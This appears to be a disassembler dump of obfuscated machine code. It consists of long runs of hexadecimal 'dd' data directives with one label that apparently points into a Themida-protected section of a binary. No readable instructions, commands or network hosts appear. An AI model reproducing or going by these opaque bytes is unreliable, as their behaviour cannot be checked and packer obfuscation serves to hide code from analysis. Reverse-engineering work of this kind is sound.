		dd 1B042444h, 41000000h, 0C1B5C351h, 0F299FF4Fh, 5360D984h
		dd 850Fh, 665B0000h, 4728F281h,	52509061h, 310FDA8Bh, 609DB560h
		dd 585A6161h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0FF643BC3h, 35h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0C0897329h, 9529B02Fh, 7E42349h, 258964h, 0FF000000h
		dd 0E420B985h, 0F98D0907h, 6A07E42Bh, 0A59D2BFFh, 0FF07E409h
		dd 0E40635B5h, 359D2307h, 0FF07E40Dh, 0E4304D95h, 10CE907h
		dd 0BD890000h, 7E41E01h, 8B6600B0h, 3599BFD8h, 70E6378Ah
		dd 6820Fh, 8D890000h, 7E41ED5h,	9D8B71E4h, 7E43029h, 218D9D0Bh
		dd 613C07E4h, 0D8830Fh,	0E7810000h, 33DB0BC1h, 6820Fh
		dd 9D290000h, 7E4258Dh,	0FC8B60Fh, 9D8BF9B7h, 7E40111h
		dd 6BAh, 8BA9B700h, 0E8C1FCC1h,	41BD2904h, 3307E426h, 0E415C9BDh
		dd 0E2F76607h, 0E69BD89h, 0C82B07E4h, 52D18BFCh, 21019D89h
		dd 15F07E4h, 0E427959Dh, 80E907h, 9D290000h, 7E4300Dh
		dd 0AA1BD23h, 858B07E4h, 505F4C4Ch, 8B07C083h, 0E41FE1BDh
		dd 0C08307h, 4EEF8166h,	0FD03BC4h, 1683h, 0CD9D8900h, 0E907E419h
		dd 4Ah,	5BBA6660h, 0E27EBFFBh, 8B6125FAh, 0FFFFFF8Dh, 96BF66FFh
		dd 1E183E6h, 2C840Fh, 9D8B0000h, 7E40FA1h, 1998589h, 0A58307E4h
		dd 0FFFFFFFFh, 0E19589FEh, 8907E419h, 5F4C4C95h, 0C58D8950h
		dd 8A07E421h, 0E9FAh, 0B58D0000h, 7E8D9D7h, 108E0Fh, 0BE90000h
		dd 0A1000000h, 7C00BAF6h, 68206FAh, 0BF66955Ah,	6A1FC9h
		dd 0E4195FFh, 9D8B07E4h, 7E423B5h, 5E8h, 8465AD00h, 8529A83Ah
		dd 7E41FCDh, 1037B95Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0BA6306C3h, 3EE13EBh
		dd 0E426B9BDh, 9BD8B07h, 8307E41Fh, 6AFCE1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DB42CC3h
		dd 669453EAh, 77A9BB6Fh, 0E9FC0622h, 0Ah, 2054ED3h, 777BEAF5h
		dd 0B8DC89h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 33CDC351h, 9DBD8BF4h
		dd 2B07E402h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0CF565E08h, 0F80DA368h, 8A0FFA69h
		dd 1Ah,	12E8h, 0EF2AC700h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h
		dd 0B7064661h, 33AD5B54h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 2DD69FC3h, 0BF158619h, 97791BBh, 28C0Fh, 0FE8B0000h
		dd 880Dh, 6D9D8B00h, 8B07E42Bh,	0E41B7195h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8B60ADDBh, 0E402719Dh, 11E907h, 0CC430000h, 0C27DF0ACh
		dd 0FC6D9072h, 0A1282E00h, 6121CDD0h, 5FD98B51h, 2DA18D8Bh
		dd 8B5007E4h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 68E0Fh, 0CB810000h, 65454F51h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 21C35141h, 82C4F4FCh, 0A7BBB34Ch
		dd 0EE816660h, 816626BEh, 61C0FEC8h, 83FFBF0Fh,	0E40611BDh
		dd 840F0007h, 72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0A9C35545h, 0CCFEBB18h, 0B86963h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5881C350h, 6629782Fh, 13D1C381h, 5659D8Bh
		dd 0F3BF07E4h, 8D7EB0EFh, 0E44FE78Dh, 89FE8B07h, 0E415859Dh
		dd 66E1FF07h, 0F5ADE781h, 701BD8Bh, 0BD8307E4h,	7E422B9h
		dd 13840F00h, 9000004h,	0E40B3D95h, 7E907h, 57800000h
		dd 0E22AF003h, 0B9BD839Dh, 107E422h, 40F840Fh, 95290000h
		dd 7E41B79h, 22B9BD83h,	0F0307E4h, 3C686h, 0DA7BF00h, 6A606BE7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0E0A9C350h, 2781B57Bh, 9589BBBCh,	7E400D1h
		dd 6AD98C66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 2BCCC350h, 0E41D61BDh,	0F5B5307h
		dd 389h, 0F9B70F00h, 8B04E180h,	0FC90AD9h, 0E084h, 51858B00h
		dd 8B07E406h, 0E400899Dh, 29853307h, 2907E420h,	0E409F18Dh
		dd 0F605007h, 0E85h, 9E900h, 78E90000h,	51DD6253h, 5056538Ch
		dd 0FFA8B52h, 5AADB131h, 4896158h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0EA806070h
		dd 7914B814h, 8B610F6Ah, 0E42225BDh, 8B006A07h,	0E41C459Dh
		dd 0DDF26807h, 0CBB6CA6h, 8120BFA2h, 0DE0D2434h, 840F6CB9h
		dd 0Ch,	6840Fh,	890F0000h, 0
		dd 2D9995FFh, 858907E4h, 7E7F8A5h, 6890F60h, 8B000000h
		dd 0E40ABDB5h, 9DBD8B07h, 6107E400h, 20AE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0B6AA8F37h, 8B7D1E96h, 0E408FD9Dh, 9D858B07h, 0BF07E7F8h
		dd 7F1B3B31h, 1800C7h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0E4D8D7C3h, 1E78EE2Ah
		dd 0D1BD2BEFh, 8907E421h, 0E4185185h, 0A1B58B07h, 0F07E7F8h
		dd 585h, 4733BB00h, 10B76FE1h, 99858Bh,	958907E4h, 7E423DDh
		dd 858B0689h, 7E40651h,	4689FC8Ah, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 96A03CBFh
		dd 5BF98A57h, 0DA8B5750h, 0C381965Fh, 7810E161h, 7E9h
		dd 98E20700h, 1027F571h, 0F89DB5FFh, 6A07E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47710C3h
		dd 0D8E7F712h, 8B3B3254h, 0E402299Dh, 219D0B07h, 0E807E42Ah
		dd 4, 1F03FFh, 12E9h, 26BD7D00h, 0EE3C0D9Fh, 0ABAA0FAh
		dd 0C2F8E0B0h, 5050905Fh, 23D7BF66h, 424448Bh, 983EBB66h
		dd 4489008Bh, 0F510424h, 58Eh, 90DABF00h, 585B46F7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 52C35646h, 7E8656Bh
		dd 0CB000000h, 0CA4C0B3Eh, 820FECF8h, 6, 52D9589h, 8D5F07E4h
		dd 0E7F8A585h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 665FE892h, 6A0BCCB0h
		dd 909FB3E2h, 58D0Fh, 2CBF0000h, 50666AA0h, 13E8h, 28807D00h
		dd 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh, 418C3FA2h,	905F66B3h
		dd 3880Fh, 8B660000h, 0C18D31FEh, 0FF07E42Fh, 0E42D9995h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 94468F23h, 614F68CBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 6AC35747h, 68B0F1Eh, 8B000000h
		dd 0E424F5BDh, 6D9D2907h, 907E41Ah, 0E408F1BDh,	0B985C707h
		dd 307E422h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 9989C350h, 68AC2494h
		dd 0D9BF0F16h, 0F8A5BD83h, 0F0007E7h, 2684h, 3CE900h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 8D7CE9C3h, 50F820FCh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0B70FC08Bh, 50006AF8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 9FCEEC31h
		dd 22B9BD83h, 0F0307E4h, 41E85h, 319D8900h, 8307E426h
		dd 0E7F8A5BDh, 840F0007h, 40Bh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 8EC35545h, 89F72D1Ch, 0E42C29BDh
		dd 0A5B5FF07h, 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 22E9C352h, 636F7A64h
		dd 0EE9ADh, 0CCFC0000h,	6BFA3B37h, 6DCF818Dh, 0C8D57C51h
		dd 44D95FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0D9DAEDC3h, 0BF7006D8h, 18AC3365h
		dd 1B29B589h, 0B58B07E4h, 7E7F899h, 20F19D8Bh, 6C707E4h
		dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0F8C35141h, 69B58971h, 5007E418h, 3489DF8Bh, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 694CC070h, 3E4EEA66h, 0B5FF87B3h, 7E7F8A5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EC35545h, 0FC7A7B8Fh
		dd 1B599D8Bh, 95FF07E4h, 7E42A09h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0CEC35747h,	99B58B36h, 6A07E7F8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0AD8BC352h, 26D8F9EEh, 860F50CCh,	6, 1DF99529h
		dd 565F07E4h, 0A419D0Bh, 8B5F07E4h, 0E4316585h,	6840F07h
		dd 3000000h, 0E42A35BDh, 0C4868907h, 89000000h,	0E423099Dh
		dd 9DBD8B07h, 8B07E42Bh, 0E41B7195h, 0D3816607h, 0C283910Dh
		dd 0C19D8B04h, 8907E41Eh, 9D2B2050h, 7E42039h, 0CD4858Dh
		dd 6A07E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 6186ADC3h, 59D99D5Dh, 81AEF763h, 236508DFh
		dd 0B8868917h, 8B000000h, 0E420E9BDh, 8B006A07h, 0E423E99Dh
		dd 0A5B5FF07h, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 7C9C355h, 0A2B5A2A3h
		dd 0E8DF8B87h, 5, 441EDF32h, 5BF88AE2h,	95FFF88Bh, 7E431ADh
		dd 21C5DF81h, 50964996h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 34DAD632h, 0E49D3600h
		dd 5559BF66h, 1CC5BD8Bh, 0B5FF07E4h, 7E7F8A5h, 2C5D8589h
		dd 95FF07E4h, 7E41B11h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0BDC35747h, 9665657h,	0BD838E23h, 7E40DF9h
		dd 4E840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0D7A4C357h,	96752945h
		dd 310F5250h, 585AD88Bh, 6A9650h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BD28FC3h, 0E41E299Dh
		dd 0A5B5FF07h, 0F07E7F8h, 180h,	0EE9F900h, 80000000h, 2B8B5C44h
		dd 0DFEB86F7h, 9DA8C8D1h, 7D95FF36h, 6607E402h,	0FFA23ABFh
		dd 0E7F8A5B5h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 5E600F84h, 9BCC203Eh
		dd 0EE952h, 82D10000h, 4937BA97h, 0D6A9F5BBh, 0CD1F7DC7h
		dd 95FFFE8Ah, 7E40971h,	8E9h, 41CE3600h, 0C67310E1h, 21BD8367h
		dd 207E40Ah, 60840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 4C6852C3h, 29647691h
		dd 0E41B4195h, 0B5858B07h, 6A07E41Eh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 165DC351h
		dd 31BD1625h, 0AB75BB98h, 0BD890155h, 7E41595h,	0F0000C6h
		dd 85C7DFB7h, 7E42671h,	0
		dd 0AE9h, 5271000h, 14336D91h, 0E90EA5B4h, 0FFFFF3AFh
		dd 13810Fh, 0EE90000h, 62000000h, 0F0CFEECBh, 0EAFA5806h
		dd 25F42B6Ah, 0E8C18B1Ch, 10h, 6E2A6412h, 0CBC7044Ah, 5769CF5Dh
		dd 30E161A2h, 5F1FC780h, 0D85858Dh, 6A07E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 323B2FC3h
		dd 0E950F9A8h, 11h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h
		dd 24048902h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	45C35040h, 47A7CBA1h, 8B651C46h, 0E420259Dh, 48BB6607h
		dd 8B006AFEh, 6A006AD8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8D5AC355h, 0E96E8885h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 5E189BE2h, 8B66F8A6h, 5C083F8h, 50FABF0Fh
		dd 489FD8Ah, 0D4C78124h, 6A559A92h, 14E800h, 8E420000h
		dd 61C79BDh, 1ACE01CCh,	6C5A7736h, 552D1A5Fh, 11E971EEh
		dd 29000000h, 0F0E4EE1Eh, 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah
		dd 0FF006A5Bh, 0E4247195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BB66C34Dh
		dd 0B589AC86h, 7E40065h, 0D64B8D8Dh, 0D1FF07E7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B4C35545h, 5E8A2h
		dd 4CE90000h, 35D8A20h,	0E41BC19Dh, 0BD835B07h,	7E42015h
		dd 58850F01h, 80000000h, 26AE1C7h, 126DB589h, 509007E4h
		dd 0BF505250h, 5C54CA3Ah, 60310F5Bh, 6325CAB9h,	0DFD9BF45h
		dd 5A6112C7h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 7E30CAC3h, 79DBE17Ah, 13B1BD8Bh
		dd 95FF07E4h, 7E431ADh,	0E99DC780h, 0E54h, 0E8h, 0ED815D00h
		dd 7E96E92h, 8FE54BBh, 0D19D8B1Bh, 6A07E429h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 888C351h, 81C014DFh,	0B7F8D0DFh, 0E1858D14h,	3107E7C6h
		dd 0E42219BDh, 13E99007h, 2E000000h, 85DDAE2Eh,	0EA474BC0h
		dd 0F5162D95h, 0D97C35A6h, 9050ADDAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0D1C35040h,	40CE076Eh, 0F725BF28h
		dd 8B6075ADh, 0E4127D8Dh, 81BD8907h, 6107E419h,	35FF64h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 80C2C355h, 896421CFh, 25h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 71C02BA6h, 85FF6E0Dh, 7E420B9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 65C35646h, 0F88AB34Dh, 6AFF6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 57B222C3h, 0A5EE4105h, 56BA3FA0h, 34A4BF66h,	15B5FF5Fh
		dd 6A07E40Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 7CA2C350h, 0FF5EBB1Ch,	0E4304D95h
		dd 10EE907h, 33BF0000h,	0B058C725h, 11858900h, 0E607E40Eh
		dd 0E3816670h, 71E43AC3h, 3CFEB70Fh, 0ED830F61h, 66000000h
		dd 0F9636BBh, 6BAC8B6h,	8B000000h, 12BB66C1h, 4E8C1DEh
		dd 0BE9h, 0CE06FE00h, 0D07C3611h, 5003F71Eh, 52E2F766h
		dd 0EB7B5BFh, 0C82B5F47h, 0E699D8Bh, 0D18B07E4h, 95895251h
		dd 7E42C29h, 0A5E95F5Fh, 66000000h, 8B5D69BBh, 47554C85h
		dd 0F9BF6649h, 7C083BBh, 19CDBD8Bh, 0C08307E4h,	68E0F00h
		dd 8B000000h, 0E413899Dh, 0FD03B07h, 2483h, 5E900h, 4EDB0000h
		dd 0F79BB1Dh, 58Fh, 0DF816600h,	5DE92F7Fh, 0F000000h
dword_5D9534	dd 48Ah, 0DBF6600h, 0FF8D8BC9h,	0F5FFFFFFh, 3840Fh, 8B660000h
					; DATA XREF: Themida_:005850E4o
		dd 1E183DFh, 3A840Fh, 8D0F0000h, 6, 20219D8Bh, 0A58307E4h
		dd 0FFFFFFFFh, 0DE8FEh,	1FD80000h, 0A01546BEh, 278E4C0Fh
		dd 31FB9BE3h, 0E41C999Dh, 95895F07h, 4947554Ch,	0E9FE8B66h
		dd 0
		dd 0EA0EB58Dh, 6A07E8h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0D89853C3h, 0D380E8FFh, 619D8B33h
		dd 6A07E40Bh, 0A9BB6600h, 4195FF33h, 0F07E40Eh,	0D1B9FBB7h
		dd 6A00000Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 38CAC350h, 835B57A3h, 0FE9FCE1h
		dd 94000000h, 871C084Fh, 92E00A8Ah, 50A0B04Ah, 0FA8BC1C3h
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 36F20339h, 2BAD8529h, 0BD8B07E4h, 7E413C9h
		dd 0B8h, 599D2300h, 2B07E422h, 33ADF8D2h, 3E8D1C2h, 4E983D0h
		dd 8166F475h, 563E5ED7h, 880D5Bh, 8D890000h, 7E41B55h
		dd 1B71958Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 1DB2E0C3h, 0EB816B77h, 3175866Fh
		dd 0FE9h, 0C026D400h, 196ECBE2h, 95B64BC1h, 0CC2E1CE1h
		dd 2DA18D8Bh, 8B5007E4h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	0FC35747h, 0FAD780E3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0A1C35040h,	8580D0BEh, 44A4EBB5h
		dd 6348B860h, 61F84B80h, 0AF19509h, 0BD8307E4h,	7E40611h
		dd 5D840F00h, 81000000h, 3A8CF9C7h, 0B816h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 9F0BDFC3h, 5B589D8h,	8D07E42Ah, 0E44FE78Dh, 59BD8B07h
		dd 0FF07E424h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0FA312F67h, 22B9BD83h
		dd 0F0007E4h, 3EA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 14E9EFh, 0DFB00000h, 88BDD70Ch
		dd 657B308Dh, 0C9D66382h, 93D529E5h, 0BD83EC66h, 7E422B9h
		dd 0C3840F01h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0ED91C353h,	85F8E9E4h
		dd 2B3F97FDh, 83DF8B66h, 0E422B9BDh, 860F0307h,	358h, 6810Fh
		dd 0BD010000h, 7E412B9h, 0F8BF0F60h, 1C9BD8Bh, 8C6607E4h
		dd 57006AD9h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 9736FA0Ch, 48DB8A0Eh, 7DF81F3h, 80140CFAh
		dd 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 87BB5C3h,	1D575AF8h, 0D585890Ah, 0A07E401h
		dd 21840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 9382C355h, 7E96A65h
		dd 2000000h, 0FBE5334Ch, 8529548Eh, 7E404BDh, 651858Bh
		dd 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 280640C3h, 63D0D7C9h, 8D09D01Ch, 7E43235h
		dd 20298533h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 3BFFA1C3h, 904984E2h, 4810F50h
		dd 60000000h, 90616160h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 73C35141h, 4843484Bh,	6024122Bh, 1890Fh
		dd 8BF50000h, 6A61C7h, 81D9B70Fh, 1B520CC3h, 0A5976815h
		dd 8B667EA9h, 243481FBh, 7EB6A668h, 1D19D8Bh, 0FFF807E4h
		dd 0E42D9995h, 6EDB8107h, 890C5A1Ch, 0E42F89B5h, 0A5858907h
		dd 6A07E7F8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 3D81C351h, 170E9h, 5CE78000h
		dd 0F89D858Bh, 12E807E7h, 0D5000000h, 0BA7BCFFFh, 20FD2453h
		dd 899A9A15h, 35850079h, 0BE86BB99h, 0F5B3B7Ch,	0C7FFB7h
		dd 18h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h
		dd 42C35040h, 8B12DF80h, 0E7F8A1B5h, 0F59D8B07h, 8B07E423h
		dd 0E4009985h, 0C5BD8B07h, 8A07E400h, 0FC0689DEh, 651858Bh
		dd 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 14F799C3h, 468906F8h, 96F98B04h, 0E8525053h
		dd 8, 0C3DACFF8h, 7A9B3493h, 66310F5Fh,	5A12E0BBh, 0F505F58h
		dd 8Eh,	6A9600h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0C8E56EC3h, 54D72DFCh, 0FF174A73h
		dd 0E7F89DB5h, 45BD3307h, 6807E40Eh, 4EC1731Ch,	3481FB8Bh
		dd 0DE70E324h, 15BD034Eh, 8D07E425h, 0E7F8A585h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 21BA5183h, 2C319D8Bh, 605007E4h, 0EE8h, 0EECB6200h
		dd 5806F0CFh, 2B6AEAFAh, 8B1C25F4h, 89615FD7h, 85292404h
		dd 7E40911h, 2D9995FFh,	6A07E4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 8F10EDC3h, 85C7616Dh
		dd 7E422B9h, 3,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	7FC35545h, 0EFDF4983h, 0BD8350B3h, 7E7F8A5h, 19840F00h
		dd 29000000h, 0E423E9B5h, 29E907h, 9E90000h, 7B000000h
		dd 84084749h, 0DE4CBFh,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0CE3AC352h,	0A71673Dh
		dd 12E825h, 8CDC0000h, 76B29BECh, 2F64DDC7h, 0F3AC5D4h
		dd 6084DBC6h, 0FE9h, 422E3A00h,	6EAEE137h, 0D6524546h
		dd 7C91323Ah, 6E85Fh, 0D9010000h, 0AD8B2E75h, 12E9h, 25716800h
		dd 48086BB7h, 0AE3683F6h, 0DC0B2EF5h, 5F6EE9F2h, 25F99589h
		dd 0BD8307E4h, 7E422B9h, 850F03h, 6A000005h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 8248C350h, 94DDF7A8h, 8A6D3118h, 95EF81FCh, 834F225Eh
		dd 0E7F8A5BDh, 840F0007h, 4C7h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0CDC35646h,	95891071h, 7E42431h
		dd 0F8A5B5FFh, 6A07E7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 6F513EC3h, 0B08ABD0h, 0E42B9D9Dh
		dd 0D9D8907h, 0FF07E416h, 0E4044D95h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 96BE6F1Fh, 0AE9D756h, 21000000h, 0BF9B9739h,	56ED9B5Dh
		dd 99B58B9Ch, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 548BC355h, 6ECAB287h
		dd 6DED502Ah, 0EE9h, 0B6FB6D00h, 5B4B4C5h, 0BEC29100h
		dd 0C79A6AF3h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8B66C7FAh, 0B99D8BD8h
		dd 9607E430h, 1694BABBh, 0F5BB5052h, 961F544Fh,	1A41BD33h
		dd 0B5FF07E4h, 7E7F8A5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 19C35747h
		dd 1AB4C3D5h, 12E8h, 6A82C200h,	1C4A56F3h, 0EC53A249h
		dd 27B00790h, 66F1A7E5h, 0FF5BDA8Bh, 0E42A0995h, 3160F807h
		dd 0E40B2585h, 8D8B5607h, 7E402E1h, 0B58B615Fh,	7E7F899h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7C35141h
		dd 6C7DC276h, 43AA2A48h, 0A8D0Fh, 5E90000h, 25000000h
		dd 0AFA8EA70h, 3165858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BD09F7C3h, 7E42311h
		dd 0FE9h, 32CC2900h, 21C4A923h,	9C3CBBCAh, 7764A5AAh, 0C48689h
		dd 0BF0F0000h, 71958BF9h, 8A07E41Bh, 4C283F9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 49C35646h, 0A4CCBB3Ah
		dd 302DB757h, 12E9h, 13527000h,	0C600A4E7h, 0B9040A6h
		dd 0C7CE248Eh, 89F34D25h, 8B662050h, 8DFE8BD8h,	0E80CD485h
		dd 7FBF6607h, 0B88689C1h, 0E9000000h, 0Fh, 0D02926DFh
		dd 21761405h, 4A19404h,	6A75D714h, 0B5FFF900h, 7E7F8A5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5BC35747h
		dd 0F73ADDD5h, 10E8E07Fh, 0DB000000h, 75AA4C6Bh, 5F754031h
		dd 0A43E7AADh, 0F3DEE69h, 178Ch, 12E900h, 7B960000h, 81059753h
		dd 12396217h, 0DDAD28DAh, 0DC605D02h, 0AD95FF5Bh, 6A07E431h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 67A3C352h, 6BAB2107h, 10E87Ch, 0C0980000h
		dd 0DD2DD2E4h, 430C2B82h, 6B9560ECh, 67BB75B6h,	5B7D2247h
		dd 892FB750h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 2E251EC3h, 6E188B7Bh, 0F8A5B5FFh
		dd 0BF0F07E7h, 1195FFFFh, 8B07E41Bh, 0F9BD83D9h, 7E40Dh
		dd 3D840Fh, 8D890000h, 7E42739h, 8A525096h, 66310FFAh
		dd 5AB959BFh, 5B515058h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
